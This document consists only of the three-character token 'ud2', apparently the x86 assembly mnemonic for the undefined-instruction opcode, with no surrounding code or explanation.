ud2